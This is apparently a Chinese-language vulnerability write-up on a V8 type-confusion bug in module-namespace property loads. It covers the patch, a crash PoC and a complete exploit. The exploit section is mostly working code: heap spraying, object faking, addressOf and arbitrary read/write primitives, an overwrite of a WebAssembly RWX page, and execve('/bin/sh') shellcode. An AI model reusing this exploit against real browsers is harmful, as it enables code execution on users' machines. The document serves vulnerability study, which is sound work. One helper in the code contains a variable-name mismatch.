前言
该漏洞在似乎在 bugs.chromium
上没有公开?笔者并没有找到相关漏洞描述,所以这里更多参考了别人的分析。
本文需要一定的 ICs
相关知识,请读者自行先查阅学习,比较简单,就不再赘述了,本文的主要关注点在于漏洞的分析与利用。
环境搭建
官方 patch 如下:
diff --git a/src/ic/accessor-assembler.cc b/src/ic/accessor-assembler.cc
index 0989c61..10c8388 100644
--- a/src/ic/accessor-assembler.cc
+++ b/src/ic/accessor-assembler.cc
@@ -836,8 +836,8 @@
Comment("module export");
TNode<UintPtrT> index =
DecodeWord<LoadHandler::ExportsIndexBits>(handler_word);
- TNode<Module> module = LoadObjectField<Module>(
- CAST(p->receiver()), JSModuleNamespace::kModuleOffset);
+ TNode<Module> module =
+ LoadObjectField<Module>(CAST(holder), JSModuleNamespace::kModuleOffset);
TNode<ObjectHashTable> exports =
LoadObjectField<ObjectHashTable>(module, Module::kExportsOffset);
TNode<Cell> cell = CAST(LoadFixedArrayElement(exports, index));
diff --git a/src/ic/ic.cc b/src/ic/ic.cc
index c2926e5..58c75a5 100644
--- a/src/ic/ic.cc
+++ b/src/ic/ic.cc
@@ -996,7 +996,13 @@
// We found the accessor, so the entry must exist.
DCHECK(entry.is_found());
int value_index = ObjectHashTable::EntryToValueIndex(entry);
- return LoadHandler::LoadModuleExport(isolate(), value_index);
+ Handle<Smi> smi_handler =
+ LoadHandler::LoadModuleExport(isolate(), value_index);
+ if (holder_is_lookup_start_object) {
+ return smi_handler;
+ }
+ return LoadHandler::LoadFromPrototype(isolate(), map, holder,
+ smi_handler);
}
Handle<Object> accessors = lookup->GetAccessors();
这里拉取源码后手动引入漏洞即可:
git checkout b5fa92428c9d4516ebdc72643ea980d8bde8f987
sudo apt install python
gclient sync -D
// 手动引入漏洞
// 其中 args.gn 内容如下,一些内容是手动添加的,主要是为了方便调试
dcheck_always_on = false
is_debug = false
target_cpu = "x64"
symbol_level=2
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
漏洞分析
两个补丁分别打在了 AccessorAssembler::HandleLoadICSmiHandlerLoadNamedCase
和 LoadIC::ComputeHandler
中。在 LoadIC::ComputeHandler
中的补丁主要针对于计算 holder
是 JSModuleNamespace
时的 handler
DCHECK(entry.is_found());
int value_index = ObjectHashTable::EntryToValueIndex(entry);
- return LoadHandler::LoadModuleExport(isolate(), value_index);
+ Handle<Smi> smi_handler =
+ LoadHandler::LoadModuleExport(isolate(), value_index);
+ if (holder_is_lookup_start_object) {
+ return smi_handler;
+ }
+ return LoadHandler::LoadFromPrototype(isolate(), map, holder,
+ smi_handler);
}
在原来的代码中,是直接返回 LoadHandler::LoadModuleExport(isolate(), value_index)
,但是在补丁代码中,会检查 holder
是否是 lookup_start_object
即确定起始对象是否与当前查找操作的接收者对象相同,如果是则直接返回,不是则调用 LoadFromPrototype
从原型链上加载。
我们先来看下 AccessorAssembler::HandleLoadICSmiHandlerLoadNamedCase
中的补丁,先看下调用链:
Many Load ICs Functions
AccessorAssembler::HandleLoadICHandlerCase
AccessorAssembler::HandleLoadICSmiHandlerCase
AccessorAssembler::HandleLoadICSmiHandlerCase
中补丁关键上下文:
......
BIND(&module_export);
{
Comment("module export");
// 对 handler 进行解密(解码)得到 index,这里的 index 是属性的编号
TNode<UintPtrT> index = DecodeWord<LoadHandler::ExportsIndexBits>(handler_word);
// 获取 module [SourceTextModule]
// 注意:这里是直接将 receiver 强转成的 JSModuleNamespace 类型
// 注意 receiver 于 holder 的区别
TNode<Module> module =
LoadObjectField<Module>(CAST(p->receiver()), JSModuleNamespace::kModuleOffset);
// TNode<Module> module =
// LoadObjectField<Module>(CAST(holder), JSModuleNamespace::kModuleOffset);
// 获取 exports [ObjectHashTable]
TNode<ObjectHashTable> exports =
LoadObjectField<ObjectHashTable>(module, Module::kExportsOffset);
// 获取对于属性的 cell [Cell]
TNode<Cell> cell = CAST(LoadFixedArrayElement(exports, index));
// The handler is only installed for exports that exist.
// 从 cell 中获取属性值 value
TNode<Object> value = LoadCellValue(cell);
Label is_the_hole(this, Label::kDeferred);
// 判断值是否是 teh_hole,防止泄漏 the_hole
GotoIf(IsTheHole(value), &is_the_hole);
// 如果不是 the_hole 则返回
exit_point->Return(value);
BIND(&is_the_hole);
{
// 是 the_hole 则抛出异常
TNode<Smi> message = SmiConstant(MessageTemplate::kNotDefined);
exit_point->ReturnCallRuntime(Runtime::kThrowReferenceError, p->context(),
message, p->name());
}
}
......
上述逻辑主要功能就是将 recevier
当作 JSModuleNamespace
,然后获取对应的属性值。问题的关键是:recviver
不一定就是 holder
。
这里就得来看看导入模块对象的内存布局了,考虑如下代码:
// 1.mjs
export let x = {};
export let y = {test:1};
export let z = {};
// demo.mjs
import * as exmodule from "1.mjs";
%DebugPrint(exmodule);
%SystemBreak();
来看看 exmodule
的内存结构以及属性 x/y/z
的存储位置,首先 exmodule
是一个 JSModuleNamespace
类型的对象,其中存在一个 module
字段::
而 module
存在一个 exports
字段:
而 exports
包含了一些 Cell
,每一个 Cell
对应一个属性:
Cell
中的 value
就是属性值
关于上述代码中的对 handler
解码得到属性 index
可能读者会疑惑,这里来简单看下 JSModuleNamespace
属性加载 ICs
中的 handler
是如何计算出来的:
Handle<Object> LoadIC::ComputeHandler(LookupIterator* lookup) {
Handle<Object> receiver = lookup->GetReceiver();
ReadOnlyRoots roots(isolate());
// 原型链上的第一个对象
Handle<Object> lookup_start_object = lookup->lookup_start_object();
......
Handle<Map> map = lookup_start_object_map();
bool holder_is_lookup_start_object =
lookup_start_object.is_identical_to(lookup->GetHolder<JSReceiver>());
// 不同的类型状态计算 handler
switch (lookup->state()) {
case LookupIterator::INTERCEPTOR: {
......
}
// 对应 Load 类型的操作,一般会进入 ACCESSOR 分支
case LookupIterator::ACCESSOR: {
// 获取 holder,这里的 holder 指的是正在被处理的对象
Handle<JSObject> holder = lookup->GetHolder<JSObject>();
// Use simple field loads for some well-known callback properties.
// The method will only return true for absolute truths based on the
// lookup start object maps.
FieldIndex index;
if (Accessors::IsJSObjectFieldAccessor(isolate(), map, lookup->name(), &index)) {
TRACE_HANDLER_STATS(isolate(), LoadIC_LoadFieldDH);
return LoadHandler::LoadField(isolate(), index);
}
// 处理的是 JSModuleNamespace 类型
if (holder->IsJSModuleNamespace()) {
// 获取 exports 字段
Handle<ObjectHashTable> exports(
Handle<JSModuleNamespace>::cast(holder)->module().exports(), isolate());
// 寻找对应属性的 entry
InternalIndex entry =
exports->FindEntry(isolate(), roots, lookup->name(), Smi::ToInt(lookup->name()->GetHash()));
// We found the accessor, so the entry must exist.
DCHECK(entry.is_found());
// 计算要获取的属性在哈希表中的索引
int index = ObjectHashTable::EntryToValueIndex(entry);
// 返回 LoadModuleExport handler 函数
return LoadHandler::LoadModuleExport(isolate(), index);
// Handle<Smi> smi_handler =
// LoadHandler::LoadModuleExport(isolate(), index);
// if (holder_is_lookup_start_object) {
// return smi_handler;
// }
// return LoadHandler::LoadFromPrototype(isolate(), map, holder,
// smi_handler);
}
......
Handle<Smi> LoadHandler::LoadModuleExport(Isolate* isolate, int index) {
int config =
KindBits::encode(kModuleExport) | ExportsIndexBits::encode(index);
return handle(Smi::FromInt(config), isolate);
}
可以看到这里的 handler
就是对 index
进行了加密(这里 kModuleExport
是一个固定的枚举值,表示类型,由于其是固定的,所以这里可以直接看成是对 index
的加密)所以上面直接进行解密获取 index
的原理应该是没问题了。但是这里存在一些问题,在补丁代码中可以看到其检查了 holder_is_lookup_start_object
,即只有 holder
是 receiver
才直接返回 smi_handler
,否则调用 LoadFromPrototype
如果读者还是很迷,建议看看
ICs
相关源码
然后回到漏洞代码处,在上面我们看到了这里是直接将 receiver
当作了 holder
。receiver
代表的是发生属性访问时,发起并接收结果的对象;而 holder
代表的是正在被查询的对象。所以这里的漏洞就是认为 receiver
与 holder
是一样的,而我们知道属性查询是沿着原型链进行的,所以这里 receiver
与 holder
不一定是一样的,比如:
A->B 表示B是A的原型
var a = new A();
a.x; ==>
【1】先在 a 对象上查找 x 属性:receiver = a, holder = a
【2】没有在 a 对象上找到 x 属性,则沿着原型链查找 B 对象:reveiver = a, holder = B
然后这里在【2】中会发生类型混淆
接下来就是去写 POC
了,我看网上的 POC
都是通过 super
来触发的,但是仔细分析了该漏洞产生的原因你会发现,这个触发的方式有很多,因为其本质就是在查询原型链的过程中没有区分 receiver
和 holder
,下面是我自己写的 POC
:
// 1.mjs
//export let x = {};
//export let y = {test:1};
//export let z = {};
// poc.mjs
import * as exmodule from "1.mjs";
function poc(obj) {
return obj.y;
}
function trigger() {
let target = {};
target.__proto__ = exmodule;
target.x0 = 0x40404040 / 2;
target.x1 = 0x42424242 / 2;
target.x2 = 0x44444444 / 2;
target.x3 = 0x46464646 / 2;
target.x4 = 0x48484848 / 2;
let res = poc(target);
return res;
}
for (let i = 0; i < 11; i++) {
trigger();
}
调试一下:
程序在这里崩溃了,然后可以看到这里应该内存访问错误,因为 r11 = 0x240040404040
是一个没有访问权限的地址,而且这里你仔细观察你会发现 r11
的低 4 字节为 0x40404040
,这不就是 target.x0
的值吗?是巧合吗?多测一下就会发现不是巧合。而这里的 r11
是通过上面的 mov r11d, DWORD PTR [rbx+0xb]
获取的,这里的 rbx
指向的就是 target
对象:
结合上面的漏洞分析,很明显这里发生了类型混淆,这里是把 target
当作了 exmodule
了。
而在上面的代码分析中我们知道从 exmodule [JSModuleNamespace] -> module -> exports -> Cell -> value
是不存在任何检查的,所以我们可以通过控制 target.x0
从而伪造一个 JSModuleNamespace
对象,然后伪造 module -> exports -> Cell -> value
去伪造一个任意地址、任意类型(前提得伪造 map
)的对象
但是在笔者伪造的过程中,因为在 V8
中存在指针标记,所以对象地址的 LSB = 1
,所以这里的偏移总是要减一,因此这里伪造时,字段偏移搞的笔者非常烦
后面看到了一个比较好的方案,经过调试这里的字段偏移如下:
exmodule -> exports 0x4
exports -> cell 0x20
cell -> value 0x4
这里直接看结果吧,考虑如下代码:
import * as exmodule from "1.mjs";
var buf = new ArrayBuffer(8);
var u32 = new Uint32Array(buf);
var f64 = new Float64Array(buf);
function pair_u32_to_f64(l, h) {
u32[0] = l;
u32[1] = h;
return f64[0];
}
let obj_prop_ut_fake = {};
for (let i = 0x0; i < 0x11; i++) {
obj_prop_ut_fake['x' + i] = pair_u32_to_f64(0x42424242, 0);
}
%DebugPrint(obj_prop_ut_fake);
%SystemBreak();
调试:
nice
完美匹配,当然你可能会好奇为啥呢?很简单 JSObject + 4
就是 peroperty
,而我们可以在 peroperty
中布置大量的 heap_number
,这样 peroperty + 0x20
也就是一个 heap_num
地址了,而非常 nice
的是 heap_number + 4
就是我们保存的值,所以我们通过修改 value
即可伪造对象:
真是佩服!!!
// 1.mjs
//export let x = {};
//export let y = {test:1};
//export let z = {};
// poc.mjs
import * as exmodule from "1.mjs";
var buf = new ArrayBuffer(8);
var u32 = new Uint32Array(buf);
var f64 = new Float64Array(buf);
function pair_u32_to_f64(l, h) {
u32[0] = l;
u32[1] = h;
return f64[0];
}
function poc(obj) {
return obj.y;
}
let obj_prop_ut_fake = {};
for (let i = 0x0; i < 0x11; i++) {
obj_prop_ut_fake['x' + i] = pair_u32_to_f64(0x42424242, 0);
}
function trigger() {
let target = {};
target.__proto__ = exmodule;
target.x0 = obj_prop_ut_fake;
let res = poc(target);
return res;
}
let evil;
for (let i = 0; i < 11; i++) {
evil = trigger();
}
%DebugPrint(evil);
最后输出如下:
DebugPrint: Smi: 0x21212121 (555819297)
可以看到这里成功输出 0x21212121
,这里将 0x42424242
修改为伪造的对象地址即可
漏洞利用
在这里学到了一种新的利用方式:
- 在存在指针压缩的
V8
版本中,可以通过分配大对象去获取一个地址固定的element
,而大对象在gc
过程中是不会被移动的,所以在利用的过程中不管是否发生gc
,element
的地址都不会变,这使得我们的利用稳定性大大提高了 - 在加载对象时,仅仅检查了
map
的类型内容,对于其指针内容并没有检查,所以我们可以在大对象中伪造一个map
,而大对象element
是固定已知的,因此伪造的map
地址也是固定已知的。这种方式的好处也是提高漏洞利用的稳定性,在之前的利用中,笔者通常是将map
修改为其它对象的map
,但是其它对象的map
地址老是改变(可能发生了内存整理等)
最后笔者写利用时还是采用的 super
触发,其实都无所谓,看你自己啦
export let x = {};
export let y = {test:1};
export let z = {};
// 1.mjs
//export let x = {};
//export let y = {test:1};
//export let z = {};
// exploit.mjs
import * as exmodule from "1.mjs";
function shellcode() {
return [
1.9553825422107533e-246,
1.9560612558242147e-246,
1.9995714719542577e-246,
1.9533767332674093e-246,
2.6348604765229606e-284
];
}
for (let i = 0; i < 0x10000; i++) {
shellcode(); shellcode();
shellcode(); shellcode();
}
var buf = new ArrayBuffer(8);
var dv = new DataView(buf);
var u8 = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var roots = new Array(0x30000);
var index = 0;
function pair_u32_to_f64(l, h) {
u32[0] = l;
u32[1] = h;
return f64[0];
}
function u64_to_f64(val) {
u64[0] = val;
return f64[0];
}
function f64_to_u64(val) {
f64[0] = val;
return u64[0];
}
function set_u64(val) {
u64[0] = val;
}
function set_l(l) {
u32[0] = l;
}
function set_h(h) {
u32[1] = h;
}
function get_u64() {
return u64[0];
}
function get_f64() {
return f64[0];
}
function get_fl(val) {
f64[0] = val;
return u32[0];
}
function get_fh(val) {
f64[0] = val;
return u32[1];
}
function add_ref(obj) {
roots[index++] = obj;
}
function major_gc() {
new ArrayBuffer(0x7fe00000);
}
function minor_gc() {
for (let i = 0; i < 8; i++) {
add_ref(new ArrayBuffer(0x200000));
}
add_ref(new ArrayBuffer(8));
}
function hexx(str, val) {
console.log(str+": 0x"+val.toString(16));
}
function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
class C {
m() {
return super.y;
}
}
// elements ==> 0x08482119
// data ==> 0x08482120
// 0x1604040408002119
// 0x0a0007ff11000834
var spray_array = new Array(0xf700);
let data_start_addr = 0x08502119+7;
let map_addr = data_start_addr + 0x1000;
let fake_object_addr = map_addr + 0x1000;
let leak_element_start_addr = 0x08582119;
spray_array[(fake_object_addr-data_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x6cd);
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(leak_element_start_addr, 0x8000);
spray_array[(map_addr -data_start_addr) / 8] = u64_to_f64(0x1604040408002119n);
spray_array[(map_addr -data_start_addr) / 8 + 1] = u64_to_f64(0x0a0007ff11000834n);
var leak_object_array = new Array(0xf700).fill({});
//%DebugPrint(spray_array);
//%DebugPrint(leak_object_array);
let flag = 0;
let zz = {aa:1, bb:2};
let obj_prop_ut_fake = {};
for (let i = 0x0; i < 0x11; i++) {
obj_prop_ut_fake['x' + i] = pair_u32_to_f64(fake_object_addr+1, 0);
}
//%DebugPrint(obj_prop_ut_fake);
function trigger() {
C.prototype.__proto__ = zz;
zz.__proto__ = exmodule;
let c = new C();
c.x0 = obj_prop_ut_fake;
//c.x0 = 0x40404040 / 2;
//c.x1 = 0x42424242 / 2;
//c.x2 = 0x44444444 / 2;
//c.x3 = 0x46464646 / 2;
//c.x4 = 0x48484848 / 2;
if (flag == 10) {
// %DebugPrint(c);
// %DebugPrint(spray_array);
// %DebugPrint(exmodule);
// %SystemBreak();
}
flag++;
let res = c.m();
return res;
}
let evil;
for (let i = 0; i < 11; i++) {
evil = trigger();
}
function addressOf(obj) {
leak_object_array[0] = obj;
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(leak_element_start_addr, 0x8000);
return get_fl(evil[0]);
}
function arb_read_cage(addr) {
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x8000);
return f64_to_u64(evil[0]);
}
function arb_write_cage(addr, val) {
let oirg_val = arb_read_cage(addr);
evil[0] = pair_u32_to_f64(val, orig_val&0xffffffffn)
}
function arb_write(addr, val) {
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x8000);
evil[0] = u64_to_f64(val)
}
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
128,0,1,96,0,1,127,3,130,128,128,128,
0,1,0,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,
0,0,7,145,128,128,128,0,2,6,109,101,109,111,
114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;
var sc = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
let wasm_instance_addr = addressOf(wasm_instance);
hexx("wasm_instance_addr", wasm_instance_addr);
let rwx_addr = arb_read_cage(wasm_instance_addr+0x60);
hexx("rwx_addr", rwx_addr);
var raw_buf = new ArrayBuffer(0x200);
var dv = new DataView(raw_buf);
let raw_buf_addr = addressOf(raw_buf);
hexx("raw_buf_addr", raw_buf_addr);
arb_write(raw_buf_addr+0x1c, rwx_addr);
for (let i = 0; i < sc.length; i++) {
dv.setBigInt64(i*8, sc[i], true);
}
//%DebugPrint(spray_array);
//%DebugPrint(leak_object_array);
//%DebugPrint(evil);
//%DebugPrint(shellcode);
//let shellcode_addr = addressOf(shellcode);
//%DebugPrint(leak_object_array);
//hexx("shellcode_addr", shellcode_addr);
pwn();
//%SystemBreak();
效果如下:
总结
本次漏洞分析,自己比较满意,最后也成功的靠自己写出了 POC
(终于不是直接抄网上的 POC
了,呜呜呜),也成功的抓住了漏洞的本质:在原型链上查询属性时,没有正确区分 holder
和 receiver
导致的类型混淆。
然后还学习了一种利用方式:利用大对象提高稳定性